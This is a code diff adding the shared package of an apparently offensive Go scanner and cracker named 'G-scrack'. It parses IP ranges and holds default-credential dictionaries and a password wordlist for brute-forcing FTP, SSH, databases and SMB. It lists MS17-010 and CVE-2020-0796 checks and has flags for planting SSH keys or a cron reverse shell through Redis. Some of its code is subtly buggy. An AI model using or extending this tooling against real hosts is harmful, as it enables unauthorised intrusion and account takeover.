common/ParseIP.go
Normal file
@ -0,0 +1,131 @@
|
||||
package common
|
||||
|
||||
import (
|
||||
"errors"
|
||||
"net"
|
||||
"regexp"
|
||||
"strconv"
|
||||
"strings"
|
||||
)
|
||||
|
||||
var ParseIPErr error =errors.New("host parsing error\n" +
|
||||
"format: \n"+
|
||||
"192.168.1.1/24\n"+
|
||||
"192.168.1.1\n" +
|
||||
"192.168.1.1,192.168.1.2\n" +
|
||||
"192.168.1.1-255")
|
||||
|
||||
func ParseIP(ip string)([]string,error){
|
||||
reg:=regexp.MustCompile(`[a-zA-Z]+`)
|
||||
switch {
|
||||
case strings.Contains(ip[len(ip)-3:len(ip)],"/24"):
|
||||
return ParseIPA(ip)
|
||||
case strings.Contains(ip[len(ip)-3:len(ip)],"/16"):
|
||||
return ParseIPD(ip)
|
||||
case strings.Contains(ip[len(ip)-2:len(ip)],"/8"):
|
||||
return ParseIPE(ip)
|
||||
case strings.Contains(ip,","):
|
||||
return ParseIPB(ip)
|
||||
case strings.Count(ip,"-")==1:
|
||||
return ParseIPC(ip)
|
||||
case reg.MatchString(ip):
|
||||
_, err := net.LookupHost(ip)
|
||||
if err != nil {
|
||||
return nil,err
|
||||
}
|
||||
return []string{ip},nil
|
||||
default:
|
||||
testIP:=net.ParseIP(ip)
|
||||
if testIP==nil{
|
||||
return nil,ParseIPErr
|
||||
}
|
||||
return []string{ip},nil
|
||||
}
|
||||
}
|
||||
|
||||
//Parsing CIDR IP
|
||||
func ParseIPA(ip string)([]string,error){
|
||||
realIP:=ip[:len(ip)-3]
|
||||
testIP:=net.ParseIP(realIP)
|
||||
|
||||
if testIP==nil{
|
||||
return nil,ParseIPErr
|
||||
}
|
||||
IPrange:=strings.Join(strings.Split(realIP,".")[0:3],".")
|
||||
var AllIP []string
|
||||
for i:=0;i<=255;i++{
|
||||
AllIP=append(AllIP,IPrange+"."+strconv.Itoa(i))
|
||||
}
|
||||
return AllIP,nil
|
||||
}
|
||||
|
||||
//Resolving multiple IPS, for example: 192.168.111.1,192.168.111.2
|
||||
func ParseIPB(ip string)([]string,error){
|
||||
IPList:=strings.Split(ip,",")
|
||||
for _,i:=range IPList{
|
||||
testIP:=net.ParseIP(i)
|
||||
if testIP==nil{
|
||||
return nil,ParseIPErr
|
||||
}
|
||||
}
|
||||
return IPList,nil
|
||||
|
||||
}
|
||||
|
||||
//Resolving a range of IP,for example: 192.168.111.1-255
|
||||
func ParseIPC(ip string)([]string,error){
|
||||
IPRange:=strings.Split(ip,"-")
|
||||
testIP:=net.ParseIP(IPRange[0])
|
||||
Range,err:=strconv.Atoi(IPRange[1])
|
||||
if testIP==nil || Range>255 || err!=nil{
|
||||
return nil,ParseIPErr
|
||||
}
|
||||
SplitIP:=strings.Split(IPRange[0],".")
|
||||
ip1,err1:=strconv.Atoi(SplitIP[3])
|
||||
ip2,err2:=strconv.Atoi(IPRange[1])
|
||||
PrefixIP:=strings.Join(SplitIP[0:3],".")
|
||||
var AllIP []string
|
||||
if ip1>ip2 || err1!=nil || err2!=nil{
|
||||
return nil,ParseIPErr
|
||||
}
|
||||
for i:=ip1;i<=ip2;i++{
|
||||
AllIP=append(AllIP,PrefixIP+"."+strconv.Itoa(i))
|
||||
}
|
||||
return AllIP,nil
|
||||
|
||||
}
|
||||
|
||||
func ParseIPD(ip string)([]string,error){
|
||||
realIP:=ip[:len(ip)-3]
|
||||
testIP:=net.ParseIP(realIP)
|
||||
|
||||
if testIP==nil{
|
||||
return nil,ParseIPErr
|
||||
}
|
||||
IPrange:=strings.Join(strings.Split(realIP,".")[0:2],".")
|
||||
var AllIP []string
|
||||
for a:=0;a<=255;a++{
|
||||
for b:=0;b<=255;b++{
|
||||
AllIP=append(AllIP,IPrange+"."+strconv.Itoa(a)+"."+strconv.Itoa(b))
|
||||
}
|
||||
}
|
||||
return AllIP,nil
|
||||
}
|
||||
|
||||
func ParseIPE(ip string)([]string,error){
|
||||
realIP:=ip[:len(ip)-2]
|
||||
testIP:=net.ParseIP(realIP)
|
||||
|
||||
if testIP==nil{
|
||||
return nil,ParseIPErr
|
||||
}
|
||||
IPrange:=strings.Join(strings.Split(realIP,".")[0:1],".")
|
||||
var AllIP []string
|
||||
for a:=0;a<=255;a++{
|
||||
for b:=0;b<=255;b++{
|
||||
AllIP=append(AllIP,IPrange+"."+strconv.Itoa(a)+"."+strconv.Itoa(b)+"."+strconv.Itoa(1))
|
||||
AllIP=append(AllIP,IPrange+"."+strconv.Itoa(a)+"."+strconv.Itoa(b)+"."+strconv.Itoa(254))
|
||||
}
|
||||
}
|
||||
return AllIP,nil
|
||||
}
|
60
common/ParsePort.go
Normal file
60
common/ParsePort.go
Normal file
@ -0,0 +1,60 @@
|
||||
package common
|
||||
//
|
||||
//import (
|
||||
// "errors"
|
||||
// "strconv"
|
||||
// "strings"
|
||||
//)
|
||||
//
|
||||
//var ParsePortErr error =errors.New("Port parsing error")
|
||||
//
|
||||
//func ParsePort(port string)([]int,error){
|
||||
// RealPort,err:=strconv.Atoi(port)
|
||||
// switch {
|
||||
// case err==nil && CheckPort(RealPort):
|
||||
// return []int{RealPort},nil
|
||||
// case strings.Contains(port,","):
|
||||
// return ParsePortB(port)
|
||||
// case strings.Count(port,"-")==1:
|
||||
// return ParsePortC(port)
|
||||
// default:
|
||||
// return nil,ParsePortErr
|
||||
// }
|
||||
//}
|
||||
//
|
||||
////Parsing multiple ports, for example: 22,80,3306
|
||||
//func ParsePortB(port string)([]int ,error){
|
||||
// var AllPort []int
|
||||
// port1:=strings.Split(port,",")
|
||||
// for _,p:=range port1{
|
||||
// RealPort,err:=strconv.Atoi(p)
|
||||
// if !CheckPort(RealPort) && err!=nil{
|
||||
// return nil,ParsePortErr
|
||||
// }
|
||||
// AllPort=append(AllPort,RealPort)
|
||||
// }
|
||||
// return AllPort,nil
|
||||
//}
|
||||
//
|
||||
////Parsing a range of port,for example: 22-3306
|
||||
//func ParsePortC(port string)([]int ,error){
|
||||
// var AllPort []int
|
||||
// RangePort:=strings.Split(port,"-")
|
||||
// port1,err1:=strconv.Atoi(RangePort[0])
|
||||
// port2,err2:=strconv.Atoi(RangePort[1])
|
||||
// if port1>port2 || err1!=nil || err2!=nil || !CheckPort(port1) || !CheckPort(port2){
|
||||
// return nil,ParsePortErr
|
||||
// }
|
||||
// for i:=port1;i<=port2;i++{
|
||||
// AllPort=append(AllPort,i)
|
||||
// }
|
||||
// return AllPort,nil
|
||||
//}
|
||||
//
|
||||
//
|
||||
//func CheckPort(port int)bool{
|
||||
// if port<=0 || port >65535{
|
||||
// return false
|
||||
// }
|
||||
// return true
|
||||
//}
|
106
common/config.go
Normal file
106
common/config.go
Normal file
@ -0,0 +1,106 @@
|
||||
package common
|
||||
|
||||
var Userdict = map[string][]string{
|
||||
"ftp": {"www","admin","root","db","wwwroot","data","web","ftp"},
|
||||
"mysql": {"root"},
|
||||
"mssql": {"root","sa"},
|
||||
"smb": {"administrator","guest"},
|
||||
"postgresql": {"postgres","admin"},
|
||||
"ssh": {"root","admin"},
|
||||
"mongodb": {"root","admin"},
|
||||
//"telnet": []string{"administrator","admin","root","cisco","huawei","zte"},
|
||||
}
|
||||
|
||||
var Passwords = []string{"admin123A","admin123","123456","admin","root","password","123123","654321","123","1","admin@123","Admin@123","{user}","{user}123","","P@ssw0rd!","qwa123","12345678","test","123qwe!@#","123456789","123321","666666","fuckyou","000000","1234567890","8888888","qwerty","1qaz2wsx","abc123","abc123456","1qaz@WSX","Aa123456","sysadmin","system","huawei"}
|
||||
|
||||
var PORTList = map[string]int{
|
||||
"ftp": 21,
|
||||
"ssh": 22,
|
||||
"mem": 11211,
|
||||
"mgo": 27017,
|
||||
"mssql": 1433,
|
||||
"psql": 5432,
|
||||
"redis": 6379,
|
||||
"mysql": 3306,
|
||||
"smb": 445,
|
||||
"ms17010": 1000001,
|
||||
"cve20200796":1000002,
|
||||
"elastic": 9200,
|
||||
"findnet": 135,
|
||||
"all":0,
|
||||
//"wenscan": 17010,
|
||||
}
|
||||
|
||||
var Outputfile = "result.txt"
|
||||
var IsSave = true
|
||||
|
||||
|
||||
|
||||
type HostInfo struct {
|
||||
Host string
|
||||
Ports string
|
||||
Url string
|
||||
Timeout int64
|
||||
Scantype string
|
||||
Isping bool
|
||||
Threads int
|
||||
Command string
|
||||
Username string
|
||||
Password string
|
||||
Userfile string
|
||||
Passfile string
|
||||
Usernames []string
|
||||
Passwords []string
|
||||
Outputfile string
|
||||
IsSave bool
|
||||
RedisFile string
|
||||
RedisShell string
|
||||
}
|
||||
|
||||
|
||||
|
||||
|
||||
|
||||
//var Passwords = []string{"admin123A","123456","admin","root","password","123123","123","1","{user}","{user}{user}","{user}1","{user}123","{user}2016","{user}2015","{user}!","","P@ssw0rd!!","qwa123","12345678","test","123qwe!@#","123456789","123321","1314520","666666","woaini","fuckyou","000000","1234567890","8888888","qwerty","1qaz2wsx","abc123","abc123456","1q2w3e4r","123qwe","p@ssw0rd","p@55w0rd","password!","p@ssw0rd!","password1","r00t","tomcat","apache","system","huawei","admin123","zte"}
|
||||
//const Username = "admin"
|
||||
//const Password = "123456"
|
||||
//const Timeout = 3 * time.Second
|
||||
//const FTPPORT = 21
|
||||
//const SSHPORT = 22
|
||||
//const MEMCACHEDPORT = 11211
|
||||
//const MONGODBPORT = 27017
|
||||
//const MSSQLPORT = 1433
|
||||
//const OraclePORT = 1433
|
||||
//const PSQLPORT = 5432
|
||||
//const REDISPORT = 6379
|
||||
//const MYSQLPORT = 3306
|
||||
//const SMBPORT = 445
|
||||
//const POSTGRESPORT = 5432
|
||||
|
||||
//var Userdict = map[string][]string{
|
||||
// "ftp": []string{"www","admin","root","db","wwwroot","data","web","ftp"},
|
||||
// "mysql": []string{"root"},
|
||||
// "mssql": []string{"root","sa"},
|
||||
// "smb": []string{"administrator","guest"},
|
||||
// "postgresql": []string{"postgres","admin"},
|
||||
// "ssh": []string{"root","admin"},
|
||||
// "mongodb": []string{"root","admin"},
|
||||
// //"telnet": []string{"administrator","admin","root","cisco","huawei","zte"},
|
||||
//}
|
||||
|
||||
//var PluginList = map[string]interface{}{
|
||||
// "ftp": FtpScan,
|
||||
// "mysql": MysqlScan,
|
||||
// //"mongodb":MgoConn,
|
||||
// "mssql":MssqlScan,
|
||||
// "redis": RedisScan,
|
||||
// //"smb": SmbScan,
|
||||
// "ssh": SshScan,
|
||||
// //"portscan": PortConn,
|
||||
// //"icmp": IcmpConn,
|
||||
// "postgresql": PostgresScan,
|
||||
// //"urlscan":UrlConn,
|
||||
// //"auth":ApacheConn,
|
||||
// //"subdomain":SDConn,
|
||||
// //"memcached":MemConn,
|
||||
//}
|
41
common/flag.go
Normal file
41
common/flag.go
Normal file
@ -0,0 +1,41 @@
|
||||
package common
|
||||
|
||||
import (
|
||||
"flag"
|
||||
)
|
||||
|
||||
func Banner(){
|
||||
banner := `
|
||||
|
||||
___ _
|
||||
/ _ \ ___ ___ _ __ __ _ ___| | __
|
||||
/ /_\/____/ __|/ __| '__/ _`+"`"+` |/ __| |/ /
|
||||
/ /_\\_____\__ \ (__| | | (_| | (__| <
|
||||
\____/ |___/\___|_| \__,_|\___|_|\_\
|
||||
`
|
||||
print(banner)
|
||||
}
|
||||
|
||||
|
||||
|
||||
|
||||
func Flag(Info *HostInfo) {
|
||||
Banner()
|
||||
Ports := "21,22,23,80,135,443,445,1433,1521,3306,5432,6379,7001,8080,8089,9000,9200,11211,27017"
|
||||
flag.StringVar(&Info.Host,"h","","IP address of the host you want to scan,for example: 192.168.11.11 | 192.168.11.11-255 | 192.168.11.11,192.168.11.12")
|
||||
flag.StringVar(&Info.Ports,"p",Ports,"Select a port,for example: 22 | 1-65535 | 22,80,3306")
|
||||
flag.StringVar(&Info.Command,"c","","exec command (ssh)")
|
||||
flag.IntVar(&Info.Threads,"t",100,"Thread nums")
|
||||
flag.BoolVar(&Info.Isping,"np",false,"not to ping")
|
||||
flag.BoolVar(&Info.IsSave,"no",false,"not to save output log")
|
||||
flag.StringVar(&Info.Username,"user","","username")
|
||||
flag.StringVar(&Info.Userfile,"userf","","username file")
|
||||
flag.StringVar(&Info.Password,"pwd","","password")
|
||||
flag.StringVar(&Info.Passfile,"pwdf","","password file")
|
||||
flag.StringVar(&Info.Outputfile,"o","result.txt","Outputfile")
|
||||
flag.Int64Var(&Info.Timeout,"time",3,"Set timeout")
|
||||
flag.StringVar(&Info.Scantype,"m","all","Select scan type ,as: -m ssh")
|
||||
flag.StringVar(&Info.RedisFile,"rf","","redis file to write sshkey file (as: -rf id_rsa.pub) ")
|
||||
flag.StringVar(&Info.RedisFile,"rs","","redis shell to write cron file (as: -rs 127.0.0.1:4444) ")
|
||||
flag.Parse()
|
||||
}
|
50
common/log.go
Normal file
50
common/log.go
Normal file
@ -0,0 +1,50 @@
|
||||
package common
|
||||
|
||||
import (
|
||||
"fmt"
|
||||
"os"
|
||||
"sync"
|
||||
)
|
||||
|
||||
func LogSuccess(result string){
|
||||
mutex := &sync.Mutex{}
|
||||
mutex.Lock()
|
||||
fmt.Println(result)
|
||||
if IsSave {
|
||||
WriteFile(result,Outputfile)
|
||||
}
|
||||
mutex.Unlock()
|
||||
}
|
||||
func WriteFile(result string,filename string) {
|
||||
var text = []byte(result+"\n")
|
||||
fl, err := os.OpenFile(filename, os.O_APPEND|os.O_CREATE, 0777)
|
||||
if err != nil {
|
||||
fmt.Println(err)
|
||||
return
|
||||
}
|
||||
defer fl.Close()
|
||||
_, err = fl.Write(text)
|
||||
if err!= nil{
|
||||
fmt.Println(err)
|
||||
}
|
||||
}
|
||||
//err := ioutil.WriteFile(filename, text, 0666)
|
||||
//if err!= nil{
|
||||
// fmt.Println(err)
|
||||
//}
|
||||
//var f *os.File
|
||||
//var err error
|
||||
//if checkFileIsExist(filename) { //如果文件存在
|
||||
// f, err = os.OpenFile(filename, os.O_APPEND, 0666) //打开文件
|
||||
// fmt.Println("文件存在")
|
||||
//} else {
|
||||
// f, err = os.Create(filename) //创建文件
|
||||
// fmt.Println("文件不存在")
|
||||
//}
|
||||
//func checkFileIsExist(filename string) bool {
|
||||
// var exist = true
|
||||
// if _, err := os.Stat(filename); os.IsNotExist(err) {
|
||||
// exist = false
|
||||
// }
|
||||
// return exist
|
||||
//}
|
Loading…
Reference in New Issue
Block a user